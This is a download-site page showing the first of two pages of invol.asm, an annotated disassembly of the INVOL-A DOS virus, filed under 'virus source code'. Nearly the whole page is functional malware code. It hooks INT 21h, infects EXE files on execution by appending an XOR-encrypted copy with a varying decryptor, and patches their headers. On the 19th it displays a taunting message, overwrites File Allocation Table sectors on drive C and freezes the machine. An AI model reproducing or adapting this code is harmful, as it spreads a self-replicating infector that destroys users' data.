⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 invol.asm

📁 一些病毒源代码
💻 ASM
📖 第 1 页 / 共 2 页
字号:
; INVOL-A INT 21h handler   Aug 26, 1992
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

0b59:0014      3d 00 4b            cmp            ax,4b00
0b59:0017      74 03               jz             001c
0b59:0019      e9 7b 02            jmp            ORIGINAL_21h (0297)

0b59:001c      50                  push           ax
0b59:001d      53                  push           bx
0b59:001e      52                  push           dx
0b59:001f      1e                  push           ds
0b59:0020      06                  push           es
0b59:0021      b8 02 3d            mov            ax,3d02
0b59:0024      cd 21               int            21
0b59:0026      73 03               jae            002b
0b59:0028      e9 67 02            jmp            0292
0b59:002b      8b d8               mov            bx,ax
0b59:002d      8c c8               mov            ax,cs
0b59:002f      8e d8               mov            ds,ax
0b59:0031      b4 3f               mov            ah,3f
0b59:0033      b9 18 00            mov            cx,0018
0b59:0036      ba 70 05            mov            dx,0570
0b59:0039      cd 21               int            21
0b59:003b      72 4d               jb             008a
0b59:003d      81 3e 70 05 4d
               5a                  cmp       word [0570],5a4d
0b59:0043      75 45               jnz            008a
0b59:0045      b4 00               mov            ah,00
0b59:0047      cd 1a               int            1a
0b59:0049      89 16 9d 02         mov            [029d],dx
0b59:004d      b8 02 42            mov            ax,4202
0b59:0050      b9 00 00            mov            cx,0000
0b59:0053      ba 00 00            mov            dx,0000
0b59:0056      cd 21               int            21
0b59:0058      72 30               jb             008a
0b59:005a      89 16 6c 05         mov            [056c],dx
0b59:005e      a3 6e 05            mov            [056e],ax
0b59:0061      2d 02 00            sub            ax,0002
0b59:0064      83 da 00            sbb            dx,00
0b59:0067      8b ca               mov            cx,dx
0b59:0069      8b d0               mov            dx,ax
0b59:006b      b8 00 42            mov            ax,4200
0b59:006e      cd 21               int            21
0b59:0070      72 18               jb             008a
0b59:0072      b9 02 00            mov            cx,0002
0b59:0075      ba 88 05            mov            dx,0588
0b59:0078      b4 3f               mov            ah,3f
0b59:007a      cd 21               int            21
0b59:007c      72 0c               jb             008a
0b59:007e      a1 82 05            mov            ax,[0582]
0b59:0081      33 06 88 05         xor            ax,[0588]
0b59:0085      3d 4a 4c            cmp            ax,4c4a
0b59:0088      75 03               jnz            008d
0b59:008a      e9 01 02            jmp            028e
0b59:008d      b4 2a               mov            ah,2a
0b59:008f      cd 21               int            21
0b59:0091      80 fa 13            cmp            dl,13
0b59:0094      74 03               jz             DO_DAMAGE (0099)
0b59:0096      e9 b7 00            jmp            0150
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DO_DAMAGE:
                                                           
; first display the message below

0b59:0099      b8 02 00            mov            ax,0002
0b59:009c      cd 10               int            10
0b59:009e      ba b1 00            mov            dx,00b1
0b59:00a1      b4 09               mov            ah,09
0b59:00a3      cd 21               int            21

; then overwrite the first 10 sectors of FAT-1 on C: drive

0b59:00a5      b0 02               mov            al,02
0b59:00a7      b9 0a 00            mov            cx,000a
0b59:00aa      ba 01 00            mov            dx,0001
0b59:00ad      cd 26               int            26

; Hang the machine

0b59:00af      eb fe               jmp            00af
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:00b1      59 6f 75 20 68 61 76 65 |You have|
0b59:00b9      20 68 65 6c 70 65 64 20 | helped |
0b59:00c1      73 70 72 65 61 64 20 74 |spread t|
0b59:00c9      68 69 73 20 76 69 72 75 |his viru|
0b59:00d1      73 2e 0d 0a 54 68 69 73 |s...This|
0b59:00d9      20 68 61 73 20 62 65 65 | has bee|
0b59:00e1      6e 20 61 20 6d 65 73 73 |n a mess|
0b59:00e9      61 67 65 20 66 72 6f 6d |age from|
0b59:00f1      20 79 6f 75 72 20 66 72 | your fr|
0b59:00f9      69 65 6e 64 6c 79 0d 0a |iendly..|
0b59:0101      6e 65 69 67 68 62 6f 72 |neighbor|
0b59:0109      68 6f 6f 64 20 69 6e 66 |hood inf|
0b59:0111      65 63 74 69 6f 6e 20 73 |ection s|
0b59:0119      65 72 76 69 63 65 2e 0d |ervice..|
0b59:0121      0a 54 68 61 6e 6b 20 79 |.Thank y|
0b59:0129      6f 75 20 66 6f 72 20 79 |ou for y|
0b59:0131      6f 75 72 20 69 6e 76 6f |our invo|
0b59:0139      6c 75 6e 74 61 72 79 20 |luntary |
0b59:0141      63 6f 6f 70 65 72 61 74 |cooperat|
0b59:0149      69 6f 6e 2e 0d 0a 24 |ion...$|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:0150      a1 6e 05            mov            ax,[056e]
0b59:0153      25 0f 00            and            ax,000f
0b59:0156      75 0a               jnz            0162
0b59:0158      8b 16 6c 05         mov            dx,[056c]
0b59:015c      a1 6e 05            mov            ax,[056e]
0b59:015f      eb 1d               jmp            017e
0b59:0161      90                  nop

0b59:0162      b2 10               mov            dl,10
0b59:0164      2a d0               sub            dl,al
0b59:0166      b6 00               mov            dh,00
0b59:0168      01 16 6e 05         add            [056e],dx
0b59:016c      83 16 6c 05 00      adc       word [056c],00
0b59:0171      b9 00 00            mov            cx,0000
0b59:0174      b8 02 42            mov            ax,4202
0b59:0177      cd 21               int            21
0b59:0179      73 03               jae            017e
0b59:017b      e9 10 01            jmp            028e

0b59:017e      b9 04 00            mov            cx,0004

0b59:0181      d1 ea               shr            dx,1
0b59:0183      d1 d8               rcr            ax,1
0b59:0185      e2 fa               loop           0181

0b59:0187      2b 06 78 05         sub            ax,[0578]
0b59:018b      01 06 7a 05         add            [057a],ax
0b59:018f      8b 16 86 05         mov            dx,[0586]
0b59:0193      89 16 a6 04         mov            [04a6],dx
0b59:0197      8b 16 84 05         mov            dx,[0584]
0b59:019b      89 16 a4 04         mov            [04a4],dx
0b59:019f      8b 16 7e 05         mov            dx,[057e]
0b59:01a3      89 16 9b 04         mov            [049b],dx
0b59:01a7      8b 16 80 05         mov            dx,[0580]
0b59:01ab      89 16 a0 04         mov            [04a0],dx
0b59:01af      a3 86 05            mov            [0586],ax
0b59:01b2      c7 06 84 05 58 05   mov       word [0584],0558
0b59:01b8      05 5f 00            add            ax,005f
0b59:01bb      a3 7e 05            mov            [057e],ax
0b59:01be      c7 06 80 05 00 01   mov       word [0580],0100
0b59:01c4      a1 9d 02            mov            ax,[029d]
0b59:01c7      a3 82 05            mov            [0582],ax
0b59:01ca      be 14 00            mov            si,0014
0b59:01cd      8c df               mov            di,ds
0b59:01cf      8e c7               mov            es,di
0b59:01d1      bf 88 05            mov            di,0588
0b59:01d4      b9 ac 02            mov            cx,02ac
0b59:01d7      8b 16 9d 02         mov            dx,[029d]

0b59:01db      fc                  cld
0b59:01dc      ad                  lodsw
0b59:01dd      33 c2               xor            ax,dx
0b59:01df      ab                  stosw
0b59:01e0      e2 fa               loop           01dc

0b59:01e2      be 9c 02            mov            si,029c
0b59:01e5      d1 ea               shr            dx,1
0b59:01e7      73 04               jae            01ed
0b59:01e9      c6 05 90            mov       byte [di],90
0b59:01ec      47                  inc            di
0b59:01ed      a5                  movs
0b59:01ee      a5                  movs
0b59:01ef      a5                  movs
0b59:01f0      b9 0a 00            mov            cx,000a
0b59:01f3      83 f9 03            cmp            cx,03
0b59:01f6      75 02               jnz            01fa
0b59:01f8      8b ef               mov            bp,di
0b59:01fa      d1 ea               shr            dx,1
0b59:01fc      73 04               jae            0202
0b59:01fe      c6 05 90            mov       byte [di],90
0b59:0201      47                  inc            di
0b59:0202      a5                  movsw
0b59:0203      e2 ee               loop           01f3
0b59:0205      b0 e2               mov            al,e2
0b59:0207      aa                  stosb
0b59:0208      2b ef               sub            bp,di
0b59:020a      4d                  dec            bp
0b59:020b      8b c5               mov            ax,bp
0b59:020d      aa                  stosb
0b59:020e      b0 e9               mov            al,e9
0b59:0210      aa                  stosb
0b59:0211      b8 a0 02            mov            ax,02a0
0b59:0214      2b c7               sub            ax,di
0b59:0216      05 88 05            add            ax,0588
0b59:0219      ab                  stosw
0b59:021a      b8 4a 4c            mov            ax,4c4a
0b59:021d      33 06 9d 02         xor            ax,[029d]
0b59:0221      89 05               mov            [di],ax
0b59:0223      83 c7 02            add            di,02
0b59:0226      81 ef 88 05         sub            di,0588
0b59:022a      8b cf               mov            cx,di
0b59:022c      ba 88 05            mov            dx,0588
0b59:022f      b4 40               mov            ah,40
0b59:0231      cd 21               int            21
0b59:0233      72 59               jb             028e
0b59:0235      01 06 6e 05         add            [056e],ax
0b59:0239      83 16 6c 05 00      adc       word [056c],00
0b59:023e      8b 16 6c 05         mov            dx,[056c]
0b59:0242      a1 6e 05            mov            ax,[056e]
0b59:0245      8a f2               mov            dh,dl
0b59:0247      8a d4               mov            dl,ah
0b59:0249      d1 ea               shr            dx,1
0b59:024b      b4 00               mov            ah,00
0b59:024d      d0 d4               rcl            ah,1
0b59:024f      42                  inc            dx
0b59:0250      89 16 74 05         mov            [0574],dx
0b59:0254      a3 72 05            mov            [0572],ax
0b59:0257      8b 16 6c 05         mov            dx,[056c]
0b59:025b      a1 6e 05            mov            ax,[056e]
0b59:025e      b9 04 00            mov            cx,0004

0b59:0261      d1 ea               shr            dx,1
0b59:0263      d1 d8               rcr            ax,1
0b59:0265      e2 fa               loop           0261

0b59:0267      2b 06 78 05         sub            ax,[0578]
0b59:026b      29 06 7a 05         sub            [057a],ax
0b59:026f      73 06               jae            0277
0b59:0271      c7 06 7a 05 00 00   mov       word [057a],0000
0b59:0277      b9 00 00            mov            cx,0000
0b59:027a      ba 00 00            mov            dx,0000
0b59:027d      b8 00 42            mov            ax,4200
0b59:0280      cd 21               int            21
0b59:0282      72 0a               jb             028e
0b59:0284      b9 18 00            mov            cx,0018
0b59:0287      ba 70 05            mov            dx,0570
0b59:028a      b4 40               mov            ah,40
0b59:028c      cd 21               int            21

0b59:028e      b4 3e               mov            ah,3e
0b59:0290      cd 21               int            21
0b59:0292      07                  pop            es
0b59:0293      1f                  pop            ds
0b59:0294      5a                  pop            dx
0b59:0295      5b                  pop            bx
0b59:0296      58                  pop            ax

ORIGINAL_21h:

0b59:0297      ea eb 40 19 00      jmp            0019:40eb

0b59:029c      ba c4 68            mov            dx,68c4
0b59:029f      b9 ac 02            mov            cx,02ac
0b59:02a2      8c dd               mov            bp,ds
0b59:02a4      8c c8               mov            ax,cs
0b59:02a6      8e d8               mov            ds,ax
0b59:02a8      8e c0               mov            es,ax
0b59:02aa      33 f6               xor            si,si
0b59:02ac      8b fe               mov            di,si

0b59:02ae      fc                  cld
0b59:02af      90                  nop
0b59:02b0      ad                  lodsw
0b59:02b1      90                  nop
0b59:02b2      33 c2               xor            ax,dx
0b59:02b4      ab                  stosw
0b59:02b5      90                  nop
0b59:02b6      8e dd               mov            ds,bp
0b59:02b8      be 80 00            mov            si,0080
0b59:02bb      bf 66 05            mov            di,0566
0b59:02be      b9 40 00            mov            cx,0040
0b59:02c1      f3                  repz
0b59:02c2      a5                  movsw
0b59:02c3      8c c0               mov            ax,es
0b59:02c5      8e d8               mov            ds,ax
0b59:02c7      8b c5               mov            ax,bp
0b59:02c9      05 10 00            add            ax,0010
0b59:02cc      01 06 92 04         add            [0492],ax
0b59:02d0      01 06 87 04         add            [0487],ax

; Hook INT 21h

0b59:02d4      b8 00 00            mov            ax,0000
0b59:02d7      8e d8               mov            ds,ax
0b59:02d9      c4 1e 84 00         les            bx,[0084]
0b59:02dd      81 fb b6 0c         cmp            bx,0cb6
0b59:02e1      75 14               jnz            02f7
0b59:02e3      26 80 3f 9c         cmp       byte es:[bx],9c
0b59:02e7      75 0e               jnz            02f7
0b59:02e9      26 c4 06 c5 02      les            ax,es:[02c5]

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -